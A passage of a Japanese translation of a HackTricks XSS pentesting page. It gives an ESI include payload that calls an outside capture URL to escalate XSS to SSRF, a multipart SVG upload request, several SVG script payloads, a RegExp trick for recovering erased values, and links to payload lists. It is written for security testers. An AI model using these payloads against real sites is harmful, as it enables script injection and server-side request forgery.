このライトアップから、JSからいくつかの値が消えても、異なるオブジェクトのJS属性でそれらを見つけることが可能であることが学べます。例えば、REGEXの入力は、regexの入力値が削除された後でも見つけることができます:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
ブルートフォースリスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
他の脆弱性を悪用するXSS
Markdown内のXSS
Markdownコードを注入してレンダリングされるかもしれませんか?もしそうなら、XSSを取得できるかもしれません!確認してください:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSSからSSRFへ
キャッシングを使用するサイトでXSSを得ましたか?このペイロードを使用してEdge Side Include Injectionを通じてSSRFにアップグレードを試みてください:
<esi:include src="http://yoursite.com/capture" />
クッキーの制限やXSSフィルターなどをバイパスするために使用します! この技術についての詳細はこちら:XSLT。
動的に生成されたPDF内のXSS
ユーザーがコントロールする入力を使用してPDFを生成しているウェブページがあれば、PDFを生成するボットをだまして任意のJSコードを実行させることができます。 したがって、PDF作成ボットがHTMLタグを見つけると、それらを解釈し、この振る舞いを悪用してサーバーXSSを引き起こすことができます。
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
HTMLタグを注入できない場合は、PDFデータを注入することを試みる価値があります:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
Amp4Email内のXSS
AMPは、モバイルクライアント上で超高速なウェブページを開発するための技術として知られています。AMPは、JavaScriptによってサポートされるHTMLタグのセットで、パフォーマンスとセキュリティに焦点を当てつつ、簡単に機能を有効にすることができます。カルーセルからレスポンシブなフォーム要素、リモートエンドポイントからの新鮮なコンテンツの取得まで、あらゆるものにAMPコンポーネントがあります。
AMP for Emailフォーマットは、メールメッセージで使用できるAMPコンポーネントのサブセットを提供します。AMPメールの受信者は、メール内で直接AMPコンポーネントを表示し、対話することができます。
例 GmailのAmp4Email内のXSSに関するライトアップ。
ファイルをアップロードすることによるXSS(svg)
以下のようなファイルを画像としてアップロードします(http://ghostlulz.com/xss-svg/より):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
さらに多くのSVGペイロードを https://github.com/allanlw/svg-cheatsheet で見つける
Misc JS Tricks & Relevant Info
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS リソース
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
XSS ツール
バグバウンティのヒント: Intigriti に登録し、ハッカーによって作られたプレミアムなバグバウンティプラットフォームであるIntigritiに参加しましょう!今日 https://go.intigriti.com/hacktricks にアクセスして、$100,000までのバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) で AWSハッキングをゼロからヒーローになる方法を学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを手に入れる
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。